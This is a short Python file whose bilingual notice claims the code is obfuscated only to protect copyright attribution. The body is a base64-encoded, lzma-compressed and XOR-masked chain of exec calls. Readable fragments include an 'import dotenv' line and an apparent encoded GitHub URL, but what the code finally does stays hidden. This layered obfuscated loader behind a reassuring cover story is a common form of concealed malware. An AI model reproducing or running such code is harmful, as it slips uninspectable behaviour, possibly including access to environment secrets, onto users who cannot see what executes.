# === Notice / 注意 ===
# The following code has been intentionally obfuscated to prevent the removal or tampering of copyright and attribution information.
# 下列代码已故意混淆，以防止版权和署名信息被删除或篡改。
#
# This is NOT intended to limit legitimate use of this open-source project under its license.
# 此举并非为了限制用户在遵循开源许可证前提下的合法使用。
#
# Please do not attempt to bypass or modify this section to remove copyright or attribution.
# 请勿尝试绕过或修改此部分代码以移除版权或署名信息。
#
# To ensure compliance with the license, please retain all copyright notices.
# 为遵守许可证条款，请保留所有版权声明。
#
# We appreciate your respect for the original authorship.
# 感谢您对原创作者的尊重。
import base64

exec(base64.b64decode(b'aUlpaWkxaTExMWkxSSA9IGInXHhmZDd6WFpceDAwXHgwMFx4MDRceGU2XHhkNlx4YjRGXHgwMlx4MDAhXHgwMVx4MTZceDAwXHgwMFx4MDB0L1x4ZTVceGEzXHgwMVx4MDAnCmlpaSA9IGlJaWlpMWkxMTFpMUkgKyBiJ3xceGU2XHg5ZFx4OTdceGU5XHhhMFx4ODJceGU3XHg5YVx4OTVceGU1XHg5ZFx4OTM8XHgxMlx4MGYzXHgwZVx4MTlceGU0XHhiOVx4YjFceGU1XHhiZFx4YmJceGU2XHhiYlx4YWJceGVmXHhiZFx4YjdceGU1XHg4ZVx4OTRceGU0XHhiYVx4OWVceGU1XHg4NFx4YjZceGU4XHhiNVx4ODJceGU0XHhiOVx4YjBceGU4XHhiY1x4ODZceGU0XHhiY1x4ODRceGU3XHg5NVx4OTNceGVmXHhiZFx4YjdceGU1XHg4OVx4YmNceGU1XHg4YVx4ODRceGU0XHhiYVx4YTNceGU4XHhiNVx4ODJceGU1XHg4ZVx4YWNceGU5XHhhYlx4YWNceGVmXHhiZFx4YTFceDEzXHgwZlx4MGZceDBiXHgwOEFUVFx4MWNceDEyXHgwZlx4MTNceDBlXHgxOVVceDE4XHgxNFx4MTZUXHgxOFx4MTNceDE1Vlx4MTdceDFlXHgxZVZceDAyXHgwZVx4MTZceDEyVDZceDFhXHgwZlx4MWVcdFx4MTJceDFhXHgxNyhceDFlXHgxYVx0XHgxOFx4MTNUXHgwMFx4MDBceDAwXHgwMDhVXHg5YVx4OWJceDhhenJceGQ0XHgwMFx4MDFceDk1XHgwMX1ceDAwXHgwMFx4MDBceGRjXHgwMlx4Y2IqXHhiMVx4YzRnXHhmYlx4MDJceDAwXHgwMFx4MDBceDAwXHgwNFlaJwppMTExSWlJMUlpaTFJID0gMTExCmlmIDYgLSA1IDogT29PbyA9IGlJaWlpMWkxMTFpMUkgKyBiIlx4MTNDbWx0Y0c5eWRDQmtiM1JsYm5ZS1x4MDAnXHg4MmdceDFjSHk6XHhhZFx4MDBceDAxLFx4MTRceGY4XG5tXHgwM1x4MWZceGI2XHhmM31ceDAxXHgwMFx4MDBceDAwXHgwMFx4MDRZWiIKaWYgMTIgLSAxMyA6IElJSSA9IGlJaWlpMWkxMTFpMUkgWyA6IC0gMiBdICsgYidceGUwXHgwNFx4OGJceDAyXHhhM11ceDAwIVx4OWJJXHg4N3d3SFx4YjJceGY3XHhkZlx4ZDhceGY5WFx4MDEhVSRceGQ0XHhhOW1ceGJlX0dceGQ1TFpceGEyWlx4ZDBceGUwXHg4YVx4MDVceGNkXHg4Nlx4OWFVXHhjY1x4YTlceDlkXHgxY1x4MDVceGZjaFx4MGVceGRkXHhkY0ZceGRlXHhkYVx4YzNQXHgxM1x4ZWJ6ciJceDAwXHgxMVx4YWVceDg1IjlcJ1x4OWNceGVkXHhlYlx4Y2JceDk5dWJceGI5Ylx4MWRKKzdcJ1x4ZTlKXHhlNS9ceGQ3a1x4OGNtPFx4OGFceDgyXG5ceGVhXHhiY1x4YmRceDFiRlFceGJjRVx4ODc8XHhkY2tbPF42XHg5Ylx4MTdKXHhmNlx4MTlceGIxXHgwM09EXHhhOFx4ZjhwXHg4OFx4MDdceGRkXHgwMlx4ZDBceDllXHg5YVlceGU0Ml1ceGQwXHhiNkVceGYyXHg5MjpceDEzXHgwY1JpXHhhM1x4OGFceGJmUDE9XHhmYVx4ZGJGQFx4OTFceDFjXHhjNGhceGY4YUpceGQ0Klx4ZGVceDliXHhiNTR5Q2plXHhmZEwoXHhjZFx4ZTdqXHhkOVx4MGJceGNjXHhmNFVceDhmXHhmNFx4YzdMIWZceDliXHhhMVx4OGRceGZkXHgxNVx0XHgwZVx4MTgqT1x4OGJceDg3Wlx4ZGJceGUyXHhhNVx0XHhiYlx4YjdbJlx4MTZceGQ1XHg5MUhceDE1XHgwMFx4YmFeVFx4MWJgXHhiY1x4ZDM2XHhhOFx4MDdceGEyXHhmZWhceDhiXHg5MFx4OTRceDg4XHhhYlx4ZDdCXHhjNVxuelx4YmRVIFx4YjRceDhiM2xceGI3XHhiYVx4YTBceGRlSFx4YThceDFkXHgxMChceGY1cVRceDBlYzBceGU2XHhjOVx4ZmVHdlx4ZWNeXHhhYnNceDA0XHhhY1wnXHgxN1x4YmRVXHhiZVx4OTdceGNmXHgwOFx4YjNceDA1cVx4ZGVceDFiXHhiMCFceGExXHhmNlx4ZmRceDg5XHhjMFx4ZTdceDk2RFRceDlkIlx4ZmNceDhiXHhkM2VjYFx4Y2NceDE3WVx4MTVceDkzXHhkMlx4YjhceGE4XHhkOFx4ZDNceDhkbXVSWyQ0XHgxMFx4YmRceGNkXHg5N1x4ODlceGUyXHhhM1x4MTRceGVmXHhlMFx4MTdSXHhkOXxceGY2XHgxYU9ceDllPFx4OTRceDFhXHhlZFx4MTFOXHgxYV9ccmpceDEwXHhhY1x4ZDI3XHhkMVtceGU0XHhlNFx4YWZceGFmXHgxOSliXHgwOFx4MWQxXHg4Ylx4YzhYXHhiYiJxXHg5YV5ceGJjICRceDhhXHhmYUZceGIwXHhlN1x4ZDhTXHhmNlx4OTdHO2YuXHg5N0RceDhhXHJceDFiREhceGMxXHhjNjBZWWxceGMzT1x4N2ZwSlx4ZmFJUVx4OTVceGVkXHhhOVx4MDM/XHg4NlVceDEyXHhjNFx4OWJceGFkXHg5MVx4ZjdkKzZceGQzXHhlY1x4ZmZMWVx4OGVceDllXHhhMlx4ZjZceGU5XHgwN1x4ZjJceGY3YzBceGUzIFEhXHhkOHpceDA1XHg5YVx4MDJ5XHgxZVx4ZThwPlxyXHhkMFx4YTVceGFmUlBhXHhmMXFceDBmXHhjNVx4ZDVceGQxOFx4ZGRceGVjY1x4ZTFceDBjXHg4ZFx4YWRcblx4ZmJceDBmXHhlZFx4YTJceGMzXHgwMlx4YjVceGZmJlx4Y2ZceGU0XHhkY1x4OTlceGQzXHg5Zlx4YTJceDFmXHhjY1x4ZWV5LVx4MWF5XHhlMlx4YjV1XHg5Y0ZxTlx4YjcoXHhmZFx4ZmVceGI2Z3Q/XHg5M09eQ1x4YmRceGRjVVx4ZGNceGM2XHgxNlx0XHg4YlxcXHg5NHtceGRiTlx4ZDZceDk0XHhjMyRWaFx4ZTFceGEye1x4ZTBJXHhiZFx4YThceGIyXHgxYXFENFx4ZmFceGNiXHhiMlx4MDFceGRjXHg3ZlNceGJkXHhmMlx4YzNceDk3XHhmZVx4ZDdeXHhlZVx4YmZHXHhmOFx4Y2JCXHhlNFx4YThIXHgwMVx4OTBceGU0eiRceDA0TGpKXHhlNFxuXHhlNltceDA2XHhhN1x4Y2RceDgzXHg4ZUlceGJmXHhlZFx4YjFceDAyXHgwMnlceDg3O1x4ZmRRM1x4MDZceGZkXHhjM1x4YTIjPlx4ZTZceGM3XHg4OUtceGM0XHhjOE5ceGM2XHhkM1x4ZjhceGEyXHgwM1x4OWQ7XHgxN2JATl1ceDlkXHhiY1x4ZTZceGVjLlx4MDN8aFx4YThceDE3XHhlYVwnV1x4Y2MlXHhhNHFceDE5XHhkNk5ceGFiXHhiZTBceDA0MFx4MTNceGQxLkZceGZiXHhkMlx4ZTNHXHhhYlx4YTRceDA0XHhjZHBceGViXHhjNVx4YTZuXHgwMDN1YypceGNmXHhkOSNceDg2XHhkZmE/XHgwMFx4MDBceDgwXHhjY1x4ZjJcdHRceGI5XHhmOERceDAwXHgwMVx4YmZceDA1XHg4Y1x0XHgwMFx4MDBceDAxXHhjOHdIXHhiMVx4YzRnXHhmYlx4MDJceDAwXHgwMFx4MDBceDAwXHgwNFlaJwppbXBvcnQgYmFzZTY0CmlmIDEyIC0gMTIgOiBPT28wTzBvT28wTyAuIG9vbzBvT29vb09PTzAgKiBJaTFJMTExICsgaTFpaUlJSTExMQppbXBvcnQgbHptYQppZiA1IC0gNSA6IG8wME9vIC0gT09vT29vMDAwTzAwICogT29vME9vbwpvTzBvT28wTzAwTzBvID0gbHptYSAuIGRlY29tcHJlc3MKaWlJaWlpSUlJMUlpID0gYmFzZTY0IC4gYjY0ZGVjb2RlCmV4ZWMgKCBpaUlpaWlJSUkxSWkgKCBvTzBvT28wTzAwTzBvICggSUlJICkgKSAuIGRlY29kZSAoICkgKQppZiBpMTExSWlJMUlpaTFJIC0gaTFJMUlpSUlpSWkxIDogSWkgKCAnJyAuIGpvaW4gKCBJMSAoIG8wMG8wT08wME8gKCBvTzBvT28wTzAwTzBvICkgXiBPb28gKSBmb3Igb08wb09vME8wME8wbyBpbiBpSUlpaUlJaWlpMSApICkKaWYgOTEgLSA5MSA6IGlJIC4gSUlpMWkxMTFJaUlJIC4gaUlJSUlJMWkxMTFpIC8gT29vSUlpSSAuIGkxaWkxMWlpaSAtIElJaUlpaUlpSQppZiAzNCAtIDM0IDogT29Pb2lJaWkxSTExaWkxaWkgKyBpaTFpMTFpMSAuIE9vMDBPbyAuIE8wME8='))
del OoOo
del III
del Ooo
del I1
